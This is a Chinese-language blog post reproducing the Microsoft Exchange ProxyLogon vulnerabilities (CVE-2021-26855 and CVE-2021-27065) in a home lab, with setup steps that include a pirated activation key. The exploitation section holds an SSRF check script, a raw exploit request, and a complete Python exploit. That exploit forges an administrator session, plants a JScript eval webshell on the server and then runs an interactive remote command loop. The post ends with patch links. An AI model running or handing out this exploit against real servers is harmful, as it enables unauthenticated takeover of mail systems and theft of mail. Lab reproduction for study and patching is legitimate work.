Exchange CVE-2021-26855 RCE漏洞复现

文章最后更新时间为:2021年08月28日 03:07:24

1. 漏洞描述

2021年三月,微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括:

  • CVE-2021-26855: 服务端请求伪造(SSRF)漏洞,通过该漏洞,攻击者可以发送任意HTTP请求并通过Exchange Server进行身份验证,获取权限。
  • CVE-2021-26857: 是统一消息服务中的不安全反序列化漏洞。通过该此漏洞,具有管理员权限的攻击者可以在Exchange服务器上以SYSTEM身份运行任意代码。
  • CVE-2021-26858/CVE-2021-27065: 任意文件写入漏洞,在通过身份验证后攻击者可以利用该漏洞将文件写入服务器的任意路径。

漏洞无需验证和交互即可触发远程代码执行,危害极大。

2. 影响范围

CVE-2021-27065/CVE-2021-26855/CVE-2021-26858:
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2013 Cumulative Update 23

CVE-2021-26857:
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2010 Service Pack 3

3. Exchange漏洞环境搭建

3.1 安装windows server 2016虚拟机

迅雷下载ios

ed2k://|file|cn_windows_server_2016_x64_dvd_9327743.iso|6020876288|58F585A340248EF7603A48F832F08B6D|/

系统内存要给8G,不然不够用,安装完系统后激活,网上随便找的激活码

slmgr /ipk  WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY
slmgr /skms kms.03k.org
slmgr /ato

测试是否激活成功

slmgr.vbs -xpr

2021-08-27T06:14:33.png

3.2 安装AD域控

首先需要设置Administrator账户的密码,默认情况下为空:

2021-08-27T06:17:59.png

然后打开服务器管理器,点击管理 > 添加角色和功能

2021-08-27T06:18:50.png

选择Active Directory 域服务 和 DNS服务器

4.png

一路next,直到安装

5.png

安装完成,点击关闭

6.png

然后打开服务器管理器,点右上角的小旗子,将此服务器提升为域控制器

7.png

这里选择添加新林,我这里设置的是saucerman.com

8.png

然后填入目录服务还原密码,点下一步

9.png

下面忽视无法创建dns服务器委派,点击下一步

10.png

直接点下一步 (NETBIOS域名:计算机名称用来标识计算机在网络中的身份,就像人的名字。当启动计算机时,系统会在网络上注册唯一的NetBIOS名称,也就是从网络中看到的计算机名)

11.png

下面选择安装的位置以及日志文件位置,这里直接点击下一步即可

12.png

下一步

13.png

选择安装

14.png

安装完成后系统会自动重启。

3.3 安装exchange 2016 cu18

先重启使用Administrator账户登录

然后安装一下依赖的组件:(参考https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/prerequisites?view=exchserver-2016)

1.NET Framework 4.8
https://download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/0fd66638cde16859462a6243a4629a50/ndp48-x86-x64-allos-enu.exe

2.安装Visual C++ Redistributable Package for Visual Studio 2012  
https://www.microsoft.com/en-us/download/details.aspx?id=30679

3.Visual C++ 2013 Redistributable Package
https://support.microsoft.com/zh-cn/topic/update-for-visual-c-2013-redistributable-package-d8ccd6a5-4e26-c290-517b-8da6cfdf4f10

4.通过Power Shell安装Exchange必备的Windows组件

Install-WindowsFeature Server-Media-Foundation, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS

然后下载exchange 2016 ios:
https://download.microsoft.com/download/d/2/3/d23b113b-9634-4456-acba-1f7b0ce22b0e/ExchangeServer2016-x64-cu18.iso

右键以管理员权限打开setup程序。

选择现在不检查更新

15.png

等待复制文件后,下一步

16.png

下一步

17.png

选择不使用推荐设置

18.png

这里选择邮箱角色, 然后需要勾上自动安装所需的角色功能

19.png

下一步

20.png

下一步

21.png

禁用软件扫描,然后下一步

22.png

禁用软件扫描,然后下一步

23.png

只有两个错误,根据所给的链接,一一解决即可。。

安装成功后访问https://localhost/ecp即可到达exchange管理中心。

2021-08-27T08:04:55.png

2021-08-27T08:04:04.png

4. 漏洞利用

4.1 CVE-2021-26855 SSRF

poc脚本:

#!/usr/bin/env python3
# coding: utf-8
from urllib.parse import urljoin

from pocsuite3.api import POCBase, Output, register_poc, logger, requests


class DemoPOC(POCBase):
    vulID = ''
    version = '1.0'
    author = ['']
    vulDate = '2021-03-06'
    createDate = '2021-03-06'
    updateDate = '2021-03-06'
    references = ['']
    name = 'Microsoft Exchange Server SSRF漏洞'
    appPowerLink = ''
    appName = 'Microsoft Exchange Server'
    appVersion = 'Exchange Server 2013、Exchange Server 2016、Exchange Server 2019'
    vulType = ''
    desc = '''
    Microsoft Exchange Server SSRF漏洞
    '''
    samples = ['']
    install_requires = ['']

    def _verify(self):
        result = {}

        try:
            vul_url = urljoin(self.url, "/owa/auth/x.js")
            headers = {
                'Cookie': 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;'
            }
            resp = requests.get(vul_url, headers=headers, timeout=10)
            if resp.status_code == 500 and 'NegotiateSecurityContext' in resp.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
        except Exception as e:
            logger.error(e)

        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register_poc(DemoPOC)

exp:

POST /ecp/target.js HTTP/1.1
Host: 192.168.179.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=[name]@WIN-N15UUJ077R0.saucerman.com:443/autodiscover/autodiscover.xml?#~1941962754
Content-Type: text/xml
Content-Length: 348

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@saucerman.com</EMailAddress>
                <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>

2021-08-27T09:29:12.png

其中:

  • url中的/ecp/target.js不是绝对的,可以是其他的路径 /ecp/xxxxxxxx.png
  • X-BEResource 用于代理请求,其原本格式应该是 [fqdn]~BackEndServerVersion,BackEndServerVersion 应该大于1941962752
  • WIN-N15UUJ077R0.saucerman.com:443 为目标地址

如果不需要特别指定端口号,还可以使用下面的值:

X-BEResource=WIN-N15UUJ077R0.saucerman.com/autodiscover/autodiscover.xml?#~1941962753

这样会导致以443端口访问https://win-n15uuj077r0.saucerman.com/autodiscover/autodiscover.xml?#:444/ecp/target.js

获取邮件列表,下载邮件exp:

https://github.com/charlottelatest/CVE-2021-26855

由于搭建的exchange服务器只有一台,所以查看邮件列表失败。

4.2 配合CVE-2021-27065实现 RCE

配合任意文件写入漏洞,我们可以写一个shell,过程为

  1. 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。
  2. 在通过LegacyDN,获取SID。
  3. 然后通过合法的SID,获取exchange的有效cookie。
  4. 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。

使用下面的exp即可(修改自https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Exchange/CVE-2021-26855%20Exchange%20RCE/exp.py)

# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
              'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))




if __name__=="__main__":
    parser = argparse.ArgumentParser(
        description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
    parser.add_argument('-u', type=str,
                        help='target')
    parser.add_argument('-user',
                        help='exist email', default='')
    parser.add_argument('-suffix',
                        help='email suffix')
    args = parser.parse_args()
    target = args.u
    suffix = args.suffix
    if suffix == "":
        print("请输入suffix")

    exist_email = args.user
    if exist_email:
        fuzz_email.insert(0, exist_email)
    random_name = id_generator(4) + ".js"
    print("目标 Exchange Server: " + target)

    for i in fuzz_email:
        new_email = i+suffix
        autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % new_email
        # print("get FQDN")
        FQDN = "EXCHANGE01"
        ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False, proxies=proxies)

        if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
            FQDN = ct.headers["X-FEServer"]
            print("got FQDN:" + FQDN)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "User-Agent": user_agent},
            data=autoDiscoverBody,
            proxies=proxies,
            verify=False
        )

        if ct.status_code != 200:
            print(ct.status_code)
            print("Autodiscover Error!")

        if "<LegacyDN>" not in str(ct.content):
            print("Can not get LegacyDN!")
        try:
            legacyDn = str(ct.content).split("<LegacyDN>")[
                1].split(r"</LegacyDN>")[0]
            print("Got DN: " + legacyDn)

            mapi_body = legacyDn + \
                "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
                "Content-Type": "application/mapi-http",
                "X-Requesttype": "Connect",
                "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
                "X-Clientapplication": "Outlook/15.0.4815.1002",
                "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
                "User-Agent": user_agent
            },
                data=mapi_body,
                verify=False,
                proxies=proxies
            )
            if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
                print("Mapi Error!")
                exit()

            sid = str(ct.content).split("with SID ")[
                1].split(" and MasterAccountSid")[0]

            print("Got SID: " + sid)
            sid = sid.replace(sid.split("-")[-1], "500")

            proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
            """ % sid

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                "Content-Type": "text/xml",
                "msExchLogonMailbox": "S-1-5-20",
                "User-Agent": user_agent
            },
                data=proxyLogon_request,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 241 or not "set-cookie" in ct.headers:
                print("Proxylogon Error!")
                exit()

            sess_id = ct.headers['set-cookie'].split(
                "ASP.NET_SessionId=")[1].split(";")[0]

            msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
                1].split(";")[0]
            print("Got session id: " + sess_id)
            print("Got canary: " + msExchEcpCanary)

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

                "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                            format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                    msExchEcpCanary=msExchEcpCanary),
                            "Content-Type": "application/json; charset=utf-8",
                            "msExchLogonMailbox": "S-1-5-20",
                            "User-Agent": user_agent

                            },
                            json={"filter": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
                            verify=False,
                            proxies=proxies
                            )

            if ct.status_code != 200:
                print("GetOAB Error!")
                exit()
            oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
            print("Got OAB id: " + oabId)

            oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                        "ExternalUrl": "http://ffff/#%s" % shell_content}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=oab_json,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 200:
                print("Set external url Error!")
                exit()

            reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                            "properties": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "FilePathName": shell_absolute_path}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=reset_oab_body,
                proxies=proxies,
                verify=False
            )

            if ct.status_code != 200:
                print("写入shell失败")
                exit()
            shell_url = "https://"+target+"/owa/auth/test11.aspx"
            print("成功写入shell:" + shell_url)
            print("下面验证shell是否ok")
            print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
            print("正在请求shell")
            import time
            time.sleep(1)
            data = requests.post(shell_url, data={
                                "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
            if data.status_code != 200:
                print("写入shell失败")
            else:
                print("shell:"+data.text.split("OAB (Default Web Site)")
                    [0].replace("Name                            : ", ""))
                print('[+]用户名: '+ new_email)
                final_shell = shell_url
                break
        except:
            print('[-]用户名: '+new_email)
            print("=============================")
    if not final_shell:
        sys.exit()
    print("下面启用交互式shell")
    while True:
        input_cmd = input("[#] command: ")
        data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
        ct = requests.post(
            final_shell,
            data=data,verify=False, proxies=proxies)
        if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
            print("[*] Failed to execute shell command")
        else:
            shell_response = ct.text.split(
                "Name                            :")[0]
            print(shell_response)

2021-08-27T15:27:05.png

# 5. 漏洞修复

参考以下链接安装补丁

CVE-2021-26855:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
CVE-2021-26857:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857
CVE-2021-26858:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858
CVE-2021-27065:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065

6. 参考文章

1 + 9 =
快来做第一个评论的人吧~